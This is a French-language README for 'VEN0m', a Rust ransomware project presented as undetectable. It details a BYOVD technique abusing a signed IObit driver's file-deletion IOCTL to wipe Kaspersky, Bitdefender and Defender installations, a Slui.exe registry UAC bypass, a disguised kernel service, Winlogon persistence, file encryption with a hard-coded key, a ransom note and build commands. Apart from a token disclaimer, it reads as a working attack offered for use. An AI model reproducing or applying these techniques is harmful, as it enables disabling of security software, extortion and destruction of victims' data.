
Ransomware totalement indétectable et furtif écrit en Rust, exploitant une technique BYOVD pour désactiver les solutions AV/EDR sur les systèmes infectés.
https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc
Ce projet montre comment un pilote légitime et signé peut être détourné pour contourner les défenses et déployer un rançongiciel simulant une cyberattaque réelle.
🚨 Testé sur Windows 11 Pro 24H2. Totalement indétectable à la date de sortie initiale : 02-23-2026.
Evasion UAC Bypass BitDefender ✅ ✅ Kaspersky ✅ ✅ MS Defender ✅ ❌
VEN0m utilise la technique classique BYOVD, mais contrairement à AV-EDR-KILLER, qui exploite un pilote vulnérable exposant la fonction noyau ZwTerminateProcess aux utilisateurs non privilégiés, il tire parti d'un pilote vulnérable inclus dans IObit Malware Fighter v12.1.0, ce qui est plutôt ironique puisque nous l'utilisons pour le contournement.
Le pilote en question est IMFForceDelete.sys, qui expose un IOCTL permettant aux utilisateurs non privilégiés de supprimer arbitrairement des fichiers. Cette vulnérabilité est suivie sous la référence CVE-2025-26125, et le pilote n'est toujours pas sur la liste de blocage de Microsoft.
Pour déclencher la suppression arbitraire, nous invoquons simplement un appel API DeviceIoControl avec le code IOCTL 0x8016E000, un pointeur void long vers une chaîne Unicode large représentant le fichier cible et la longueur totale multipliée par 2 (puisque wstr_file.len() donne le nombre d'éléments u16 et chaque élément est de 2 octets) converti en u32 pour correspondre au paramètre DWORD de la convention d'appel API.
> DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
[!NOTE]
+ ❓ Pourquoi AV-EDR-Killer a-t-il échoué contre certains produits AV/EDR ?
L'idée principale était d'exploiter un pilote dont les IOCTL non protégés exposent la fonction noyau
ZwTerminateProcess, ce qui accorde à toute application en mode utilisateur des capacités de terminaison au niveau noyau. La faiblesse de cette technique est que certains produits AV/EDR accrochent ladite fonction et peuvent intercepter les appels.Une autre technique notable consistait à exploiter des primitives de lecture/écriture arbitraires d'un certain pilote vulnérable pour corriger la mémoire et sauter vers une fonction de terminaison encore plus puissante,
PsTerminateProcess, qui n'est pas exportée parntoskrnl.exelui-même. C'est également très suspect car les défenses hôtes analysent constamment la mémoire. Reference : https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/
Nous déchiquetons simplement les dossiers d'installation et les exécutables sur le disque. Aussi simple que cela !
Cela semble être un angle mort pour la plupart des produits de défense, car nous ciblons les fichiers sur le disque au lieu de manipuler la mémoire ou d'effectuer des appels suspects. En utilisant notre pilote IMFForceDelete.sys, nous pouvons forcer la suppression de fichiers verrouillés avec des privilèges élevés. Attaquer directement un produit AV ou EDR semble contre-intuitif, car les attaquants cherchent généralement à être discrets pour contourner les défenses plutôt que de les confronter.
En utilisant cette technique, nous avons corrompu les processus EDR/AV en cours jusqu'à ce qu'ils soient lentement brisés et cessent de fonctionner correctement, ce qui a ouvert la voie pour semer le chaos et déployer notre charge utile de choix, VEN0m.
const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",];
Pour contourner les invites UAC, nous détournons le flux d'exécution d'un binaire Microsoft signé Slui.exe qui supporte l'auto-élévation sans déclencher d'invite lorsqu'il est invoqué avec le verbe runas sous un contexte administratif.
L'exploitation principale se produit lorsque Slui.exe tente d'ouvrir une clé de registre inexistante sous HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command. Nous surfons sur cette faille en créant la clé manquante et en insérant DelegateExecute pointant vers notre charge utile actuelle afin de déléguer l'exécution. Nous déclenchons ensuite l'exécution de Slui.exe avec un appel API ShellExecuteW avec le verbe runas, ce qui aboutit à un contournement UAC réussi. L'implémentation complète se trouve dans /src/uac.rs.
[!IMPORTANT] Je ne suis pas sûr que ce soit une vulnérabilité qui doive être signalée. Si c'est le cas, n'hésitez pas à me contacter par l'e-mail listé ci-dessous.
Puisque VEN0m contourne UAC et s'exécute en haute intégrité, il automatise l'extraction du pilote intégré dans le dossier temporaire et la création d'un service noyau avec des noms déguisés tels que MicrosoftUpdate11.01. Il inclut des vérifications très pratiques pour démarrer automatiquement le service s'il est arrêté ou pour s'abstenir de le créer s'il existe déjà.
Après avoir neutralisé les défenses de l'hôte, vous pouvez choisir la technique de persistance de votre choix. J'ai opté pour une simple technique Winlogon Userinit, qui exploite la clé de registre Userinit sous HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Par défaut, cette clé spécifie userinit.exe comme valeur, qui s'exécute lors de la connexion de l'utilisateur pour initialiser l'environnement utilisateur. Cependant, nous détournons cela en ajoutant le chemin de notre charge utile, séparé par une virgule du userinit.exe légitime, tout en déposant également une copie du malware dans %LOCALAPPDATA%.
Le rançongiciel analyse les lecteurs spécifiés à la recherche de fichiers avec des extensions ciblées tout en filtrant selon une liste d'exclusion. Les fichiers correspondants sont chiffrés à l'aide d'une clé codée en dur de 32 octets, et leurs extensions sont changées en .vnm.
Vous pouvez personnaliser le comportement en modifiant les constantes suivantes :
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"];
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"];
Une fois le chiffrement terminé, VEN0m change le fond d'écran du bureau et dépose une note de rançon exécutable sur le bureau. Il enregistre également une tâche planifiée qui s'exécute toutes les quelques minutes pour lancer l'interface graphique de la note, qui affiche un crâne clinquant ☠️.
/assets/wallpaper.jpg par votre propre image./src/task.rsVEN0m inclut également un outil de déchiffrement Antid0te.exe🧪 qui recherche les fichiers avec l'extension .vnm et inverse la routine de chiffrement en utilisant la même clé spécifiée pour le chiffrement.
[!WARNING] Il est important de sauvegarder votre clé de chiffrement afin de pouvoir déchiffrer vos fichiers à l'aide du déchiffreur Antid0te.exe.
VEN0m est hautement modulaire et personnalisable. Vous pouvez modifier le comportement du rançongiciel en modifiant les constantes codées en dur. Vous pouvez également passer au niveau supérieur en l'associant à une vulnérabilité d'élévation de privilèges ou à une technique de mouvement latéral de votre choix :)
> cargo build --release --bin Note --features 1
> cargo build --release --bin Antid0te --features 2
> cargo build --release --bin VEN0m
[!CAUTION] Vous êtes responsable de vous assurer que vous disposez des autorisations appropriées avant d'utiliser cet outil. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Les contributions et suggestions sont les bienvenues ! Si vous avez des demandes commerciales « éthiques » ou souhaitez collaborer, n'hésitez pas à me contacter à : [email protected]
Fait avec ❤️, inspiré par Petya, WannaCry et co.
VEN0m est un chat noir errant qui m'a influencé dans mon parcours.